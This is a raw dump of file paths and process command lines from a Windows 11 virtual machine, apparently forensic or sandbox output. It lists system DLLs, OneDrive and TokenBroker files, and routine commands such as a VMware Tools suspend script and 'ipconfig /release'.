-ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\twinapi.appcore.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\twinapi.appcore.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\twinapi.appcore.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryClient.dll \Device\HarddiskVolume3\Windows\System32\Windows.UI.dll \Device\HarddiskVolume3\Windows\System32\BCP47mrm.dll \Device\HarddiskVolume3\Windows\System32\MrmCoreR.dll \Device\HarddiskVolume3\Windows\System32\uxtheme.dll \Device\HarddiskVolume3\Windows\System32\biwinrt.dll \Device\HarddiskVolume3\Windows\System32\profapi.dll \Device\HarddiskVolume3\Windows\System32\Windows.UI.dll \Device\HarddiskVolume3\Windows\System32\MrmCoreR.dll \Device\HarddiskVolume3\Windows\System32\OneCoreUAPCommonProxyStub.dll \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\ContentDeliveryManager.Background.dll \Device\HarddiskVolume3\Windows\System32\uxtheme.dll \Device\HarddiskVolume3\Windows\System32\AppContracts.dll \Device\HarddiskVolume3\Windows\System32\Windows.Shell.ServiceHostBuilder.dll \Device\HarddiskVolume3\Windows\System32\OneCoreUAPCommonProxyStub.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\WebExperienceHost.dll \Device\HarddiskVolume3\Windows\System32\ole32.dll \Device\HarddiskVolume3\Windows\System32\shlwapi.dll \Device\HarddiskVolume3\Windows\System32\windows.storage.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\System32\slc.dll \Device\HarddiskVolume3\Windows\System32\d2d1.dll \Device\HarddiskVolume3\Windows\System32\Clipc.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryCore.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\vcruntime140_1_app.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\vcruntime140_app.dll \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\ContentDeliveryManager.Background.dll \Device\HarddiskVolume3\Windows\System32\biwinrt.dll \Device\HarddiskVolume3\Windows\System32\AppContracts.dll \Device\HarddiskVolume3\Windows\System32\Windows.Shell.ServiceHostBuilder.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryCore.dll \Device\HarddiskVolume3\Windows\System32\MrmCoreR.dll \Device\HarddiskVolume3\Windows\System32\wincorlib.dll \Device\HarddiskVolume3\Windows\System32\OneCoreUAPCommonProxyStub.dll \Device\HarddiskVolume3\Windows\System32\twinapi.appcore.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\ntdll.dll e"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\vcruntime140_1_app.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\vcruntime140_app.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\vcruntime140_app.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WebExperienceHost.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WebExperienceHost.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WebExperienceHost.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WebExperienceHost.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WebExperienceHost.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WebExperienceHost.dll \Device\HarddiskVolume3\Windows\System32\ole32.dll \Device\HarddiskVolume3\Windows\System32\shlwapi.dll \Device\HarddiskVolume3\Windows\System32\windows.storage.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\shell32.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\System32\slc.dll \Device\HarddiskVolume3\Windows\System32\d2d1.dll \Device\HarddiskVolume3\Windows\System32\Clipc.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\msvcp140_app.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\vcruntime140_1_app.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\vcruntime140_app.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\vcruntime140_app.dll \Device\HarddiskVolume3\Windows\System32\windowsudk.shellcommon.dll \Device\HarddiskVolume3\Windows\System32\windowsudk.shellcommon.dll \Device\HarddiskVolume3\Windows\System32\Windows.UI.Xaml.dll \Device\HarddiskVolume3\Windows\System32\iertutil.dll \Device\HarddiskVolume3\Windows\System32\srvcli.dll \Device\HarddiskVolume3\Windows\System32\netutils.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryClient.dll \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Windows\System32\windowsudk.shellcommon.dll \Device\HarddiskVolume3\Windows\System32\userenv.dll \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Windows\System32\AppXDeploymentClient.dll \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Windows\System32\AppXDeploymentClient.dll \Device\HarddiskVolume3\Windows\System32\imagehlp.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\IrisService.dll \Device\HarddiskVolume3\Windows\System32\shell32.dll \Device\HarddiskVolume3\Windows\System32\Windows.Web.Http.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\IrisService.dll \Device\HarddiskVolume3\Windows\System32\Windows.UI.dll \Device\HarddiskVolume3\Windows\System32\Windows.Web.dll \Device\HarddiskVolume3\Windows\System32\Windows.Web.dll \Device\HarddiskVolume3\Windows\System32\policymanager.dll \Device\HarddiskVolume3\Windows\System32\policymanager.dll \Device\HarddiskVolume3\Windows\System32\ShellCommonCommonProxyStub.dll \Device\HarddiskVolume3\Windows\System32\dpapi.dll eC:\Windows\System32\RuntimeBroker.exe -Embedding MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy runtimebroker07f4358a809ac99a64a67c1 \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Background.SystemEventsBroker.dll \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Background.TimeBroker.dll \Device\HarddiskVolume3\Windows\System32\BCP47Langs.dll \Device\HarddiskVolume3\Windows\System32\ShellCommonCommonProxyStub.dll \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Background.SystemEventsBroker.dll \Device\HarddiskVolume3\Windows\System32\UserMgrProxy.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\Windows.Security.Authentication.OnlineId.dll \Device\HarddiskVolume3\Windows\System32\OneCoreUAPCommonProxyStub.dll \Device\HarddiskVolume3\Windows\System32\crypt32.dll \Device\HarddiskVolume3\Windows\System32\dpapi.dll \Device\HarddiskVolume3\Windows\System32\cryptbase.dll \Device\HarddiskVolume3\Windows\System32\wininet.dll \Device\HarddiskVolume3\Windows\System32\sspicli.dll \Device\HarddiskVolume3\Windows\System32\mswsock.dll \Device\HarddiskVolume3\Windows\System32\IPHLPAPI.DLL \Device\HarddiskVolume3\Windows\System32\dpapi.dll \Device\HarddiskVolume3\Windows\System32\wintrust.dll \Device\HarddiskVolume3\Windows\System32\cryptsp.dll \Device\HarddiskVolume3\Windows\System32\rsaenh.dll \Device\HarddiskVolume3\Windows\System32\cryptbase.dll \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\INetHistory \Device\HarddiskVolume3\Windows\System32\urlmon.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\INetCookies\ESE ?&^2+ ?>v: *K"y* '"6* &)"6* &%"4* 3*z"G &7"< &"5* \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex eC:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\VMware\VMware Tools\suspend-vm-default.bat"" \Device\HarddiskVolume3\Windows\System32\cmd.exe \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\cmdext.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\appidapi.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\crypt32.dll \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\wldp.dll eC:\WINDOWS\system32\ipconfig /release \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\ws2_32.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\nsi.dll \Device\HarddiskVolume3\Windows\System32\dnsapi.dll \&=: \Device\HarddiskVolume3\Windows\System32\dhcpcsvc6.dll \Device\HarddiskVolume3\Windows\System32\nlaapi.dll \Device\HarddiskVolume3\Windows\System32\nlaapi.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\nlaapi.dll \Device\HarddiskVolume3\Windows\System32\nlaapi.dll \Device\HarddiskVolume3\Windows\System32\ipconfig.exe \Device\HarddiskVolume3\Windows\System32\dhcpcsvc.dll \Device\HarddiskVolume3\Windows\System32\dhcpcsvc6.dll \Device\HarddiskVolume3\Windows\System32\IPHLPAPI.DLL \Device\HarddiskVolume3\Windows\System32\dnsapi.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\ws2_32.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\nsi.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\ntdll.dll eC:\WINDOWS\system32\ipconfig /release Console Driver Message IO Thread Rendering Output Thread \Device\HarddiskVolume3\Windows\System32\ResourcePolicyClient.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\TokenBroker\Cache \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0800.6368.2.aodl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileCoAuthLib64.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileCoAuthLib64.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\general.keystore \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\telemetry-dll-ramp-value.txt \Device\HarddiskVolume3\Windows\System32\ResourcePolicyClient.dll \Device\HarddiskVolume3\Windows\System32\directxdatabasehelper.dll \Device\HarddiskVolume3\Windows\System32\cfgmgr32.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\TokenBroker\Cache\4e7a3602a6530194fc2a9d803f78656054f42b7e.tbres \Device\HarddiskVolume3\Windows\System32\DriverStore\FileRepository\vm3d.inf_amd64_eba3f0b96d8538e4\vm3dum64_loader.dll \Device\HarddiskVolume3\Windows\System32\winhttp.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFS.dll \Device\HarddiskVolume3\Windows\System32\secur32.dll \Device\HarddiskVolume3\Windows\System32\version.dll \Device\HarddiskVolume3\Windows\System32\wininet.dll \Device\HarddiskVolume3\Windows\System32\wtsapi32.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140.dll \Device\HarddiskVolume3\Windows\System32\userenv.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_1.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\UpdateRingSettings.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncEvents.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncSqlite3.dll \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\credui.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_atomic_wait.dll \Device\HarddiskVolume3\Windows\System32\ncrypt.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\adal.dll \Device\HarddiskVolume3\Windows\System32\xmllite.dll \Device\HarddiskVolume3\Windows\System32\cryptbase.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\ntasn1.dll \Device\HarddiskVolume3\Windows\System32\cryptsp.dll \Device\HarddiskVolume3\Windows\System32\rsaenh.dll \Device\HarddiskVolume3\Windows\System32\Windows.UI.Xaml.Controls.dll \Device\HarddiskVolume3\Windows\System32\Windows.UI.Xaml.Resources.19h1.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2026-02-24.0806.8008.2.aodl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Microsoft.ReactNative.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Microsoft.ReactNative.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Microsoft.ReactNative.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Microsoft.ReactNative.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Microsoft.ReactNative.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Microsoft.ReactNative.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_app.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_1_app.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\CheckboxWindows.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\CheckboxWindows.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\CheckboxWindows.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\CheckboxWindows.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\CheckboxWindows.dll:WofCompressedData 